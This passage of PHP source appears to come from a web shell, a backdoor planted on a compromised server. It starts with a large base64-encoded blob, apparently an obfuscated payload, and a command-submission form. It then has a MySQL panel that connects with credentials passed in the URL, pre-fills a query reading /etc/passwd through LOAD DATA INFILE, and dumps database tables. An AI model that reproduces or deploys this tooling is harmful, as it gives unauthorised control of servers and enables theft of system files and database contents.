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'))); ?></textarea>
1295</td>
1296</tr>
1297<tr>
1298<td>
1299
1300
1301 <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" />
1302 </td>
1303 </tr>
1304 </table>
1305 </form>
1306 <?php
1307 }
1308 elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql'))
1309 {
1310 if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport']))
1311 {
1312 $sqlhost = $_GET['sqlhost']; $sqluser = $_GET['sqluser']; $sqlpass = $_GET['sqlpass']; $sqlport = $_GET['sqlport'];
1313 if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass))
1314 {
1315 $msg .= "<div style=\"width:99%;padding:4px 10px 0 10px;\">";
1316 $msg .= "<p>Connected to ".$sqluser."<span class=\"gaya\">@</span>".$sqlhost.":".$sqlport;
1317 $msg .= " <span class=\"gaya\">-></span> <a href=\"?y=".$pwd."&x=mysql&
1318 sqlhost=".$sqlhost."&sqluser=".$sqluser."&
1319 sqlpass=".$sqlpass."&
1320 sqlport=".$sqlport."&\">[ databases ]</a>";
1321 if(isset($_GET['db']))
1322 $msg .= " <span class=\"gaya\">-></span>
1323 <a href=\"y=".$pwd."&x=mysql&
1324 sqlhost=".$sqlhost."&sqluser=".$sqluser."&
1325 sqlpass=".$sqlpass."&
1326 sqlport=".$sqlport."&
1327 db=".$_GET['db']."\">".htmlspecialchars($_GET['db'])."</a>";
1328 if(isset($_GET['table']))
1329 $msg .= " <span class=\"gaya\">->
1330 </span>
1331 <a href=\"y=".$pwd."&x=mysql&
1332 sqlhost=".$sqlhost."&sqluser=".$sqluser."&
1333 sqlpass=".$sqlpass."&sqlport=".$sqlport."&
1334 db=".$_GET['db']."&
1335 table=".$_GET['table']."\">".htmlspecialchars($_GET['table'])."</a>";
1336 $msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";
1337 $msg .= "</div>";
1338 echo $msg;
1339 if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery'])))
1340 {
1341 $db = $_GET['db'];
1342 $query = "DROP TABLE IF EXISTS AL.MaX HaCkEr0_table;
1343 \nCREATE TABLE `AL.MaX HaCkEr0_table` ( `file` LONGBLOB NOT NULL );
1344 \nLOAD DATA INFILE \"/etc/passwd\"\nINTO TABLE Z3r0Z3r0_table;SELECT * FROM AL.MaX HaCkEr0_table;
1345 \nDROP TABLE IF EXISTS AL.MaX HaCkEr0_table;";
1346 $msg = "<div style=\"width:99%;padding:0 10px;\">
1347 <form action=\"?\" method=\"get\">
1348 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
1349 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
1350 <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
1351 <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
1352 <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
1353 <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
1354 <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
1355 <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p>
1356 <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
1357 </form>
1358 </div> ";
1359 $tables = array();
1360 $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on ".$db."</th></tr>";
1361 $hasil = @mysql_list_tables($db,$con);
1362 while(list($table) = @mysql_fetch_row($hasil))
1363 { @array_push($tables,$table); }
1364 @sort($tables);
1365 foreach($tables as $table)
1366 {
1367 $msg .= "<tr><td><a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."&table=".$table."\">$table</a></td></tr>";
1368 }
1369 $msg .= "</table>";
1370 }
1371 elseif(isset($_GET['table']) && (!isset($_GET['sqlquery'])))
1372 {
1373 $db = $_GET['db'];
1374 $table = $_GET['table'];
1375 $query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";
1376 $msgq = "<div style=\"width:99%;padding:0 10px;\">
1377 <form action=\"?\" method=\"get\">
1378 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
1379 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
1380 <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
1381 <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
1382 <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
1383 <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
1384 <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
1385 <input type=\"hidden\" name=\"table\" value=\"".$table."\" />
1386 <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
1387 <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
1388 </form>
1389 </div> ";
1390 $columns = array();
1391 $msg = "<table class=\"explore\" style=\"width:99%;\">";
1392 $hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);
1393 while(list($column) = @mysql_fetch_row($hasil))
1394 {
1395 $msg .= "<th>$column</th>"; $kolum = $column;
1396 }
1397 $msg .= "</tr>";
1398 $hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
1399 list($total) = mysql_fetch_row($hasil);
1400 if(isset($_GET['z'])) $page = (int) $_GET['z'];
1401 else $page = 1;
1402 $pagenum = 100;
1403 $totpage = ceil($total / $pagenum);
1404 $start = (($page - 1) * $pagenum);
1405 $hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
1406 while($datas = @mysql_fetch_assoc($hasil))
1407 {
1408 $msg .= "<tr>";
1409 foreach($datas as $data){ if(trim($data) == "") $data = " "; $msg .= "<td>$data</td>"; }
1410 $msg .= "</tr>";
1411 }
1412 $msg .= "</table>";
1413 $head = "<div style=\"padding:10px 0 0 6px;\">
1414 <form action=\"?\" method=\"get\">
1415 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
1416 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
1417 <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
1418 <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
1419 <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
1420 <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
1421 <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
1422 <input type=\"hidden\" name=\"table\" value=\"".$table."\" />
1423 Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">";
1424 for($i = 1;$i <= $totpage;$i++)
1425 {
1426 $head .= "<option value=\"".$i."\">".$i."</option>";
1427 if($i == $_GET['z']) $head .= "<option value=\"".$i."\" selected=\"selected\">".$i."</option>";
1428 }
1429 $head .= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>";
1430 $msg = $msgq.$head.$msg;
1431 }
1432 elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != ""))
